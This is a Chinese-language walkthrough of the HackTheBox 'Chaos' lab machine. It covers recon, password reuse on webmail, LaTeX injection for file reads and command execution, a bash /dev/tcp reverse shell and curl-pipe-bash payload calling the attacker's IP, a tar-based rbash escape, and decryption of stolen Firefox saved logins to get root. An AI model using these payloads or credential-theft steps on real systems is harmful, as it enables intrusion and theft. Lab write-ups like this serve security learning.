> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/chaos-hackthebox-writeup.md).

# Chaos HackTheBox 解题记录

{% embed url="<https://app.hackthebox.com/machines/Chaos>" %}

{% hint style="warning" %}
**技能：**

* 密码猜测
* 滥用电子邮件服务（claws-mail）
* 加密挑战（解密秘密消息 - AES 加密）
* LaTeX 注入（RCE）
* 绕过 rbash（受限 Bash）
* 从 Firefox 配置文件中提取凭据
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/087da996cc4247d8d47ae6a4c50305b2eba34563" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/cbb0aba72080907d4a0d4b07acfb665dc41736e2" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvvv 10.10.10.120 -oG allPorts
```

<figure><img src="/files/b4bbe551c300eb39af3e948156a224842178fc62" alt=""><figcaption></figcaption></figure>

**使用 ExtractPorts 进行开放端口分析（**&#x38;0.110,143.993.995,10000)

使用 extractPorts 函数以简洁格式显示开放端口，并将它们复制到剪贴板。

<figure><img src="/files/74dc2ef259aad46f912443520d992726990af764" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p80,110,143,993,995,10000 10.10.10.120 -oN targeted
```

<figure><img src="/files/4a959fa783607d268fc5514dcde5a6000116a965" alt=""><figcaption></figcaption></figure>

## **利用**

#### **端口 80 - Web 枚举**

直接通过 IP 访问被阻止。因此我们添加 `chaos.htb` 域名到 `/etc/hosts`.

<figure><img src="/files/f02b8add7c416325d0ad3b943b48696d049d0dab" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/70557391fdfadebaeade8a6a518ccae2ff6915a7" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/cddd37438137ea2e05ea431ebfd36f55818833fb" alt=""><figcaption></figcaption></figure>

#### **目录模糊测试**

```bash
gobuster dir -u http://chaos.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r
```

没有结果。

<figure><img src="/files/ffa147d6d6f44592f3861ae734bd3d921da034a0" alt=""><figcaption></figcaption></figure>

**通过 IP 地址进行模糊测试：**

```bash
gobuster dir -u http://10.10.10.120 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r
```

我们找到一个文件夹 `/wp` 表明是 WordPress。

<figure><img src="/files/5d3a9fe27707ac42b7d3a15f6d02eefe71332783" alt=""><figcaption></figcaption></figure>

添加 `wordpress.chaos.htb` 子域到 `/etc/hosts`.

<figure><img src="/files/f10f2d13d8946ff5e29a3e400c26206041d0edb1" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3c4d65f26c034345e94a2842831a3f5853252fa7" alt="" width="563"><figcaption></figcaption></figure>

### **WordPress 枚举**

<figure><img src="/files/5665d38aafbad0bd59b42b61245798970724f1f4" alt=""><figcaption></figcaption></figure>

我们发现一个 `Human` 是 WordPress 上的用户。

<figure><img src="/files/47a2725c15d6ba3dcc39aac01ecf971d3b6f27ef" alt=""><figcaption></figcaption></figure>

### **密码猜测**

一篇 WordPress 文章包含一个密码。我们测试 `Human` 并且成功了。

<figure><img src="/files/12cf9b7044663358484f0228a35f6bcf6f325fc8" alt=""><figcaption></figcaption></figure>

我们找到了一个 webmail 的凭据：

* **username**：ayush
* **密码**：jiujitsu

## **端口 993/995 - Webmail**

端口 993 表示一个 IMAP 邮件服务器。

<figure><img src="/files/8348a5c00fc075c39f50138731233222dc46a9c7" alt=""><figcaption></figcaption></figure>

我们使用 `claws-mail` 以访问 Ayush 的邮箱。

```bash
claws-mail
```

<figure><img src="/files/fa4e5ad619db42b728dc28dce98bedf06f777d03" alt="" width="415"><figcaption></figcaption></figure>

<figure><img src="/files/2e9350cea5e1dfe57fb534526419cfb935453fa4" alt="" width="563"><figcaption></figcaption></figure>

在一封邮件中我们找到了两个附件和这条消息：

> 嗨，Sahay，
>
> 查看 enmsg.txt 文件。你就是 XD 密码。我还附上了我用来加密的脚本。谢谢。

<figure><img src="/files/9d7ae3973129b664689110cb99f7802841b5b4b7" alt=""><figcaption></figcaption></figure>

## **解密秘密消息 - AES 加密**

<figure><img src="/files/c8ca7e9ecb056154dd4f82c79546bce7d80a55ac" alt=""><figcaption></figcaption></figure>

我们识别出一个 `decrypt.py` 脚本在 GitHub 上，它属于同一个项目

<figure><img src="/files/a303082a0784b2b7915c25487fb87295ccca1432" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/vj0shii/File-Encryption-Script/blob/master/decrypt.py>" %}

#### 执行时：

```bash
python3 decrypt.py
输入文件名：./enim_msg.txt
输入密码：sahay
```

内容通过以下方式解码： `base64`:

<figure><img src="/files/66a4190d35a9f0264d3b9cb63060fd9ca63b6aee" alt=""><figcaption></figcaption></figure>

```bash
cat im_msg.txt | base64 -d; echo
```

消息揭示了一个位于以下地址的 LaTeX 服务： `http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3`

> **嗨，Sahay，**
>
> 请发现我们这个生成 PDF 的新服务。
>
> P.S. - 正如你建议的那样，我已加密了重要消息。
>
> [http://chaos.htb/J00/\_w1ll/\_f1Nd/\_n07H1n9/\_H3r3](http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3)
>
> **阻止控制**
>
> 谢谢， **Ayush**
>
> 谢谢，Ayush

<figure><img src="/files/fe645892fd69dc040d44224a2a666e617abeae64" alt=""><figcaption></figcaption></figure>

## **LaTeX 注入漏洞**

### LaTeX 注入（文件读取器）

<figure><img src="/files/6a7c13b0590a50e6ad90d3b35de9acaca5f1100a" alt=""><figcaption></figcaption></figure>

我们拦截请求

<figure><img src="/files/376548154c43cb7bdf7450d428022e1205f65694" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6efc75a979d59127abfb32e53d2ac1332124eb20" alt=""><figcaption></figcaption></figure>

#### 文档 PDF LaTeX：

<figure><img src="/files/ccda97389ee9f92a42a173ac96654f63680f0e63" alt=""><figcaption></figcaption></figure>

我们注入：

```latex
/input{/etc/passwd}
/include{password}
```

<figure><img src="/files/984514661e2fe7dfa6a954d422fb61028372abaa" alt=""><figcaption></figcaption></figure>

### **LaTeX RCE 利用**

我们通过以下方式执行一个 `id` 命令：

```latex
/immediate/write18{id > output}
/newread/file
/openin/file=output
/read/file to/line
/text{/line}
/closein/file
```

<figure><img src="/files/e42b4094fced334676e167e712467c03bcf72d7b" alt=""><figcaption></figcaption></figure>

#### **反向 Shell**

我们监听 443 端口：

```bash
nc -nvlp 443
```

我们创建一个 `index.html` bash 脚本：

```bash
 #!/bin/bash
 bash -i >& /dev/tcp/10.10.14.61/443 0>&1
```

我们启动一个 Web 服务器：

```bash
python3 -m http.server 80
```

载荷注入：

```latex
/immediate/write18{curl http://10.10.14.61 | bash > output}
/newread/file
/openin/file=output
/read/file to/line
/text{/line}
/closein/file
```

<figure><img src="/files/e94d583a5fa6c7a65647fccc5a4aff98e9a7683b" alt=""><figcaption></figcaption></figure>

## **权限提升**

### **切换到用户 Ayush - 绕过 rbash**

我们以 Ayush 身份连接，但我们被限制在一个 `rbash` shell 中。

<figure><img src="/files/e1dd3456e0f3e31bb91b2f89a7eac2d8c6e4602b" alt=""><figcaption></figcaption></figure>

可用命令列表：

```bash
compgen -c
```

我们找到 `tar` 并绕过 `rbash` 使用：

<figure><img src="/files/1a03026a9ea8660514667ecedebd77aa8d859e97" alt="" width="279"><figcaption></figcaption></figure>

{% embed url="<https://gtfobins.github.io/gtfobins/tar/#shell>" %}

```bash
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec/bin/bash
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```

<figure><img src="/files/2f87515883b6ccc4558784b343ed4fc8704c1363" alt=""><figcaption></figcaption></figure>

### user.txt 标志 :)

我们获得了完整 shell 的访问权限，并恢复 `user.txt`.

<figure><img src="/files/f5ab2fc7bf87bc5c8944f54929231bf8d0e1edca" alt="" width="449"><figcaption></figcaption></figure>

## **Firefox 凭据提取**

在 `.mozilla` 在 Ayush 的文件夹中我们找到 `key4.db` 和 `logins.json`.

<figure><img src="/files/9bf6f4ccec1d91a718187b23f7a7c692d106b9e1" alt=""><figcaption></figcaption></figure>

我们将它们传输到我们的机器：

<figure><img src="/files/0cbc0fa496c260905553ba10634b9014811706e8" alt=""><figcaption></figcaption></figure>

```bash
python3 -m http.server 8080
wget -r chaos.htb:8080
```

<figure><img src="/files/35a328e13368d7682662d10ce4e9f581b75c0bce" alt=""><figcaption></figcaption></figure>

使用以下方法解密 ID： `firefox_decrypt.py`:

{% embed url="<https://github.com/unode/firefox_decrypt>" %}

```bash
python3 firefox_decrypt.py chaos.htb:8080
```

我们输入 `jiujitsu` 作为主密码并恢复：

<figure><img src="/files/1fa7f7495fe2d32c7f017ca4e4bc197e46451a10" alt=""><figcaption></figcaption></figure>

> chaos.htb:8080/bzo7sjt1.default 配置文件的主密码
>
> 网站：<https://chaos.htb:10000>
>
> 用户名：'root' 密码：'Thiv8wrej/\~

Root 连接：

<figure><img src="/files/d2745feebbd2989d25e6b5c6caa196b439b009c1" alt=""><figcaption></figcaption></figure>

### root.txt 标志

<figure><img src="/files/c2732644aa6cc1d81281594407f158e8d03ec5ef" alt="" width="494"><figcaption></figcaption></figure>

<figure><img src="/files/131056b707ff82e84da2a1f700bdadc9aedfd2c8" alt="" width="343"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/chaos-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
